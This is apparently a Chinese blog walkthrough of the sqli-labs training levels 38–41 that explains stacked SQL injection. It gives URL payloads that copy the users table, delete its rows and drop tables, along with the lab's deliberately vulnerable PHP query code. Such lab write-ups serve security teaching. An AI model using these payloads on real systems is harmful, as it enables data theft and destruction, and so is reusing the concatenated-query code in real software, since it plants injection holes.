• sqli-labs 通关指南:Less 38 ~ 41


    Less 38 ~ 41 虽然使用 Less 1 的方式注入即可注入成功,但是这 4 关存在堆叠注入漏洞。我们可以使用 “;” 闭合第一个 SQL 语句,然后在后面执行任意的 SQL 语句,通过这个漏洞我们可以对数据库执行任意的操作。

    Less 38

    判断注入类型

    输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。

    ?id=1'
    


    把后面的信息注释掉,网页返回正常信息,说明此处存在单引号闭合的字符型注入。

    ?id=1'--+
    

    堆叠注入

    此处使用 Less 1 的 payload 就可以完成注入,此处用于测试堆叠注入。所谓堆叠注入就是在原语句后加上分号,从而闭合前面的内容作为第一条 SQL 语句。然后在后面输入第二条的数据库操作语句,在条件允许可以被后端带入数据库执行。堆叠注入使用的范围非常有限,例如后端可能会限制 SQL 只执行一条语句。一旦这种漏洞存在,对数据库的破坏性是毁灭性的,因为这表示攻击者可以肆意对数据库进行操作。
    例如此处使用堆叠注入新建一张表,使用 CREATE TABLE 子句,该表将复制 users 表作为一张新的表存在。这种复制可以结合 SQL 注入爆出表名来复制,也可以用社会工程学来猜测。

    ?id=1';CREATE TABLE WhiteMoon LIKE users;--+
    


    网页回显正常的信息,打开数据库发现已经多了一张新的表了。

    使用堆叠查询把 users 表中的数据插入新的表中,使用 INSERT INTO 子句实现。

    ?id=1';INSERT INTO WhiteMoon SELECT * FROM users;--+
    


    使用堆叠查询新建的表的所有记录删掉,使用 DELETE 子句实现。

    ?id=1';DELETE FROM WhiteMoon;--+
    


    使用堆叠查询把新建的表删掉,使用 DROP 子句实现。

    ?id=1';DROP TABLE WhiteMoon;--+
    

    SQL 查询语句

    可以看到源码使用了 mysqli_multi_query() 函数,该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query() 函数,该函数只执行一条 MySQL 查询。

    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    /* execute multi query */
    if (mysqli_multi_query($con1, $sql))
    {    
          /* store first result set */
          if ($result = mysqli_store_result($con1))
          {
                if($row = mysqli_fetch_row($result))
                {
                      echo '<font size = "5" color= "#00FF00">';	
                      printf("Your Username is : %s", $row[1]);
                      echo "<br>";
                      printf("Your Password is : %s", $row[2]);
                      echo "<br>";
                      echo "</font>";
                }
                //mysqli_free_result($result);
          }
          /* print divider */
          if (mysqli_more_results($con1))
          {
                //printf("-----------------
    ");
          }
          //while (mysqli_next_result($con1));
    }
    else 
    {
          echo '<font size="5" color= "#FFFF00">';
          print_r(mysqli_error($con1));
          echo "</font>";  
    }
    

    Less 39

    判断注入类型

    输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。

    ?id=1'
    


    把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句都是错误,说明此处存在数值型注入。

    ?id=1'--+
    ?id=1')--+
    ?id=1'))--+
    ?id=1"--+
    ?id=1")--+
    ?id=1"))--+
    

    堆叠注入

    使用堆叠查询完成 Less 38 的样例。

    ?id=1;CREATE TABLE WhiteMoon LIKE users;--+
    ?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
    ?id=1;DELETE FROM WhiteMoon;--+
    ?id=1;DROP TABLE WhiteMoon;--+
    

    SQL 查询语句

    $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
    

    Less 40

    判断注入类型

    输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。

    ?id=1'
    


    把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句,测试得出此处是单引号和括号闭合的字符型盲注。

    ?id=1'--+
    ?id=1')--+
    

    堆叠注入

    使用堆叠查询完成 Less 38 的样例。

    ?id=1');CREATE TABLE WhiteMoon LIKE users;--+
    ?id=1');INSERT INTO WhiteMoon SELECT * FROM users;--+
    ?id=1');DELETE FROM WhiteMoon;--+
    ?id=1');DROP TABLE WhiteMoon;--+
    

    SQL 查询语句

    $sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";
    
    if (mysqli_multi_query($con1, $sql))
    {
          /* store first result set */
          if ($result = mysqli_store_result($con1))
          {
                if($row = mysqli_fetch_row($result))
                {
                      echo '<font size = "5" color= "#00FF00">';	
                      printf("Your Username is : %s", $row[1]);
                      echo "<br>";
                      printf("Your Password is : %s", $row[2]);
                      echo "<br>";
                      echo "</font>";
                }
                //mysqli_free_result($result);
          }
          /* print divider */
          if (mysqli_more_results($con1))
          {
                //printf("-----------------
    ");
          }
          //while (mysqli_next_result($con1));
    }
    

    Less 41

    判断注入类型

    输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。

    ?id=1'
    


    把后面的信息注释掉,网页无回显。测试以下所有语句,全部都无回显,说明此处存在数值型盲注。

    ?id=1'--+
    ?id=1')--+
    ?id=1'))--+
    ?id=1"--+
    ?id=1")--+
    ?id=1"))--+
    

    堆叠注入

    使用堆叠查询完成 Less 38 的样例。

    ?id=1;CREATE TABLE WhiteMoon LIKE users;--+
    ?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
    ?id=1;DELETE FROM WhiteMoon;--+
    ?id=1;DROP TABLE WhiteMoon;--+
    

    SQL 查询语句

    $sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
    
  • 相关阅读:
    内网或无域名服务器集成微信公众号接口
    记录一次重新学习SetInternal和SetTimeout
    SQLServer日志过大导致还原失败的解决方案
    批量修改SQLServer数据库表字段属性
    收缩SQLServer数据库解决日志占用空间过大(2008R2以上版本)
    SAP GUI安装出现ocx错误提示的解决办法
    .NetCore自动转换枚举类显示自定义中文名称
    EFCore-脚手架Scaffold发生Build Failed问题的终极解决
    .NetCore自定义WebAPI返回Json的格式大小写的三种方式
    存储过程模糊搜索,按匹配率排序初探
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13977097.html
Copyright © 2020-2023  润新知